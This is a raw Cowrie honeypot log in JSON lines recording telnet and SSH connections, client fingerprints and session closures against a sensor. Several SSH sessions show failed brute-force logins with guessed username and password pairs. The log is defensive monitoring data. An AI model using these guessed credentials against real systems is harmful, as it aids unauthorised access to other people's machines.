{"eventid":"cowrie.session.closed","duration":46.35335969924927,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:40.980652Z","src_ip":"206.189.32.23","session":"49c6be97220f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":53649,"dst_ip":"159.203.135.109","dst_port":22,"session":"96f0e9966cce","protocol":"ssh","message":"New connection: 193.24.211.95:53649 (159.203.135.109:22) [session: 96f0e9966cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:43.648696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:43.653774Z","src_ip":"193.24.211.95","session":"96f0e9966cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:43.763545Z","src_ip":"193.24.211.95","session":"96f0e9966cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"risto","message":"login attempt [root/risto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:44.191452Z","src_ip":"193.24.211.95","session":"96f0e9966cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:45.304067Z","src_ip":"193.24.211.95","session":"96f0e9966cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.36835074424744,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:50.546763Z","src_ip":"206.189.32.23","session":"9b79d04112e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.551249742507935,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:52.938717Z","src_ip":"162.55.233.176","session":"7b2e02a2d309","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.26993417739868,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:53.436806Z","src_ip":"206.189.32.23","session":"bf17a9c26082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45026,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d0b0b433151","protocol":"telnet","message":"New connection: 206.189.32.23:45026 (10.17.0.5:23) [session: 0d0b0b433151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:53.778911Z"}
{"eventid":"cowrie.session.closed","duration":2.828346014022827,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:30:56.607126Z","src_ip":"206.189.32.23","session":"0d0b0b433151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"19c0cc68e7d1","protocol":"telnet","message":"New connection: 206.189.32.23:51152 (10.17.0.5:23) [session: 19c0cc68e7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:00.138525Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47958,"dst_ip":"10.17.0.5","dst_port":23,"session":"487f2cf127f6","protocol":"telnet","message":"New connection: 188.208.141.113:47958 (10.17.0.5:23) [session: 487f2cf127f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:00.601640Z"}
{"eventid":"cowrie.session.closed","duration":31.107258319854736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:02.546830Z","src_ip":"162.55.233.176","session":"c614e9dbcfd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47970,"dst_ip":"10.17.0.5","dst_port":23,"session":"d21963692571","protocol":"telnet","message":"New connection: 188.208.141.113:47970 (10.17.0.5:23) [session: d21963692571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:06.190873Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37494,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d8e69ad13df","protocol":"telnet","message":"New connection: 188.208.141.113:37494 (10.17.0.5:23) [session: 9d8e69ad13df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:10.626776Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37500,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b49afbed89b","protocol":"telnet","message":"New connection: 188.208.141.113:37500 (10.17.0.5:23) [session: 9b49afbed89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:12.413387Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38544,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e7f8688b478","protocol":"telnet","message":"New connection: 206.189.32.23:38544 (10.17.0.5:23) [session: 2e7f8688b478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:18.074771Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40584,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e7852342fc3","protocol":"telnet","message":"New connection: 206.189.32.23:40584 (10.17.0.5:23) [session: 4e7852342fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:21.406560Z"}
{"eventid":"cowrie.session.closed","duration":4.284648180007935,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:25.691095Z","src_ip":"206.189.32.23","session":"4e7852342fc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34712,"dst_ip":"10.17.0.5","dst_port":23,"session":"840163cfcb00","protocol":"telnet","message":"New connection: 188.208.141.113:34712 (10.17.0.5:23) [session: 840163cfcb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:29.642992Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50712,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9980a4281e0","protocol":"telnet","message":"New connection: 206.189.32.23:50712 (10.17.0.5:23) [session: c9980a4281e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:33.328677Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52870,"dst_ip":"10.17.0.5","dst_port":23,"session":"dae744ab74d8","protocol":"telnet","message":"New connection: 206.189.32.23:52870 (10.17.0.5:23) [session: dae744ab74d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:35.889914Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":47994,"dst_ip":"159.203.135.109","dst_port":22,"session":"2375c7835824","protocol":"ssh","message":"New connection: 103.170.173.26:47994 (159.203.135.109:22) [session: 2375c7835824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:36.317170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:36.321861Z","src_ip":"103.170.173.26","session":"2375c7835824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:36.583480Z","src_ip":"103.170.173.26","session":"2375c7835824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"admin","message":"login attempt [ec2-user/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:37.659996Z","src_ip":"103.170.173.26","session":"2375c7835824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:38.928385Z","src_ip":"103.170.173.26","session":"2375c7835824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.410140037536621,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:40.299888Z","src_ip":"206.189.32.23","session":"dae744ab74d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34868,"dst_ip":"10.17.0.5","dst_port":23,"session":"33fbf1c329c8","protocol":"telnet","message":"New connection: 206.189.32.23:34868 (10.17.0.5:23) [session: 33fbf1c329c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:44.573629Z"}
{"eventid":"cowrie.session.closed","duration":46.76349973678589,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:46.901896Z","src_ip":"206.189.32.23","session":"19c0cc68e7d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.60290789604187,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:49.793661Z","src_ip":"188.208.141.113","session":"d21963692571","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.25069046020508,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:49.852211Z","src_ip":"188.208.141.113","session":"487f2cf127f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.459110498428345,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:50.032603Z","src_ip":"206.189.32.23","session":"33fbf1c329c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.88225483894348,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:51.295498Z","src_ip":"188.208.141.113","session":"9b49afbed89b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":28378,"dst_ip":"159.203.135.109","dst_port":22,"session":"84bb66a26bee","protocol":"ssh","message":"New connection: 2.57.121.112:28378 (159.203.135.109:22) [session: 84bb66a26bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:54.461369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:54.467972Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:54.574300Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170173","message":"login attempt [admin/170173] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:55.070546Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17011970","message":"login attempt [admin/17011970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:56.180786Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"161278","message":"login attempt [admin/161278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:57.290176Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.0179340839386,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:57.644591Z","src_ip":"188.208.141.113","session":"9d8e69ad13df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16121970","message":"login attempt [admin/16121970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:58.400604Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"161186","message":"login attempt [admin/161186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:31:59.509098Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:00.619072Z","src_ip":"2.57.121.112","session":"84bb66a26bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55398,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bf28e594f47","protocol":"telnet","message":"New connection: 206.189.32.23:55398 (10.17.0.5:23) [session: 7bf28e594f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:04.593354Z"}
{"eventid":"cowrie.session.closed","duration":47.58677005767822,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:05.661425Z","src_ip":"206.189.32.23","session":"2e7f8688b478","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57302,"dst_ip":"10.17.0.5","dst_port":23,"session":"32e24850302a","protocol":"telnet","message":"New connection: 206.189.32.23:57302 (10.17.0.5:23) [session: 32e24850302a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:06.476316Z"}
{"eventid":"cowrie.session.closed","duration":38.93636608123779,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:08.579219Z","src_ip":"188.208.141.113","session":"840163cfcb00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33186,"dst_ip":"10.17.0.5","dst_port":23,"session":"737f1d45c410","protocol":"telnet","message":"New connection: 206.189.32.23:33186 (10.17.0.5:23) [session: 737f1d45c410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:11.281780Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35634,"dst_ip":"10.17.0.5","dst_port":23,"session":"332d6cea9d55","protocol":"telnet","message":"New connection: 206.189.32.23:35634 (10.17.0.5:23) [session: 332d6cea9d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:12.926719Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.60.109.120","src_port":56332,"dst_ip":"159.203.135.109","dst_port":23,"session":"8715bb7036c5","protocol":"telnet","message":"New connection: 37.60.109.120:56332 (159.203.135.109:23) [session: 8715bb7036c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:15.148754Z"}
{"eventid":"cowrie.session.closed","duration":1.9505994319915771,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:17.099205Z","src_ip":"37.60.109.120","session":"8715bb7036c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":45308,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fc8f6f30705","protocol":"telnet","message":"New connection: 206.189.32.23:45308 (10.17.0.5:23) [session: 7fc8f6f30705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:22.775890Z"}
{"eventid":"cowrie.session.closed","duration":50.613547563552856,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:23.942100Z","src_ip":"206.189.32.23","session":"c9980a4281e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.175132751464844,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:27.950913Z","src_ip":"206.189.32.23","session":"7fc8f6f30705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52616,"dst_ip":"10.17.0.5","dst_port":23,"session":"76023e7e866f","protocol":"telnet","message":"New connection: 206.189.32.23:52616 (10.17.0.5:23) [session: 76023e7e866f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:29.890438Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53616,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ec5fb6d8b12","protocol":"telnet","message":"New connection: 206.189.32.23:53616 (10.17.0.5:23) [session: 4ec5fb6d8b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:30.888188Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55520,"dst_ip":"10.17.0.5","dst_port":23,"session":"c88d8a609800","protocol":"telnet","message":"New connection: 206.189.32.23:55520 (10.17.0.5:23) [session: c88d8a609800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:33.925673Z"}
{"eventid":"cowrie.session.closed","duration":4.907258749008179,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:34.797605Z","src_ip":"206.189.32.23","session":"76023e7e866f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34280,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fde03566373","protocol":"telnet","message":"New connection: 188.208.141.113:34280 (10.17.0.5:23) [session: 2fde03566373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:43.290809Z"}
{"eventid":"cowrie.session.closed","duration":41.26793098449707,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:45.861184Z","src_ip":"206.189.32.23","session":"7bf28e594f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46822,"dst_ip":"10.17.0.5","dst_port":23,"session":"da3721693d34","protocol":"telnet","message":"New connection: 206.189.32.23:46822 (10.17.0.5:23) [session: da3721693d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:49.792104Z"}
{"eventid":"cowrie.session.closed","duration":44.39163613319397,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:50.867778Z","src_ip":"206.189.32.23","session":"32e24850302a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2a26cab77fa","protocol":"telnet","message":"New connection: 188.208.141.113:33880 (10.17.0.5:23) [session: f2a26cab77fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:55.827904Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53360,"dst_ip":"10.17.0.5","dst_port":22,"session":"826fae0c2d2e","protocol":"ssh","message":"New connection: 2.57.122.238:53360 (10.17.0.5:22) [session: 826fae0c2d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:56.506716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:32:56.511285Z","src_ip":"2.57.122.238","session":"826fae0c2d2e","protocol":"ssh"}
